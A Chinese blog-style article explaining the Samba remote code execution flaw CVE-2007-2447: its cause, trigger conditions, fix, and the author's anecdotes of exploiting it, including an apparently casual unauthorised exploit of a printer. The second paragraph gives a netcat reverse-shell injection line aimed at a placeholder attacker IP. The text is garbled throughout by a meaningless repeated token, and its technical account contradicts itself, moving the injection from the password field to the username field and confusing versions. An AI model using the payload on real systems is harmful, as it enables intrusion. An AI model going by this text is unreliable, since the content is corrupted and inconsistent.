2007年,洞简Samba服务器爆出一个远程代码执行漏洞,洞简编号CVE-2007-2447。洞简攻击者不需要任何账号密码,洞简只要能把数据包发到139或445端口,洞简就能直接拿下整台服务器的洞简root权限。这玩意儿在当年堪称“核弹级”漏洞——Metasploit框架甚至把它收进了默认攻击载荷,洞简至今仍是洞简内网渗透测试的经典入门案例。
漏洞根子出在Samba的洞简SamrChangePassword函数里。它调用了一个外部脚本eventlogadm处理用户提交的洞简密码,但拼接命令行时没做过滤。洞简攻击者在密码字段里塞进管道符|,洞简后面跟任意shell命令,洞简Samba就会乖乖执行。洞简比如输入|/bin/netcat -e /bin/sh 攻击机IP 4444,洞简服务器直接反弹一个交互式shell给你。
更讽刺的是,这个漏洞的触发条件极其简单。Samba 3.0.0到3.0.25rc3版本,只要开启了username map script选项(默认关闭),攻击者就能在用户名参数里注入命令。但实际利用中,很多管理员为了管理方便会开启这个选项,于是漏洞就从“理论可行”变成“现实威胁”。我见过某企业内网,运维图省事把用户名映射脚本指向一个自定义脚本,结果被渗透测试人员用这个漏洞三分钟拿下域控。
修复方案倒不复杂——升级到3.0.25rc3之后的版本,或者干脆别用username map script。但2007年那会儿,很多Linux发行版还在用老旧软件源,补丁更新滞后。我印象最深的是某银行ATM机后台,跑着Samba 3.0.23,防火墙规则形同虚设,最后靠物理隔离才躲过一劫。
这漏洞放到今天仍有警醒意义。虽然现代Samba版本早已修复,但很多工控系统、物联网设备里还嵌着十几年前的代码。去年我顺手扫描一个智慧园区项目,居然发现一台打印机共享服务用的还是Samba 3.0.24,直接复现这个漏洞拿到了设备shell——好在只是打印任务队列,没造成实际破坏。
说到底,CVE-2007-2447是个“教科书级”的教训:命令注入的坑,从C语言时代的字符串拼接一路延伸到Web应用的eval函数,二十年来从未绝迹。它提醒每个开发者,永远别信任用户输入,哪怕那个输入看起来只是“改个密码”。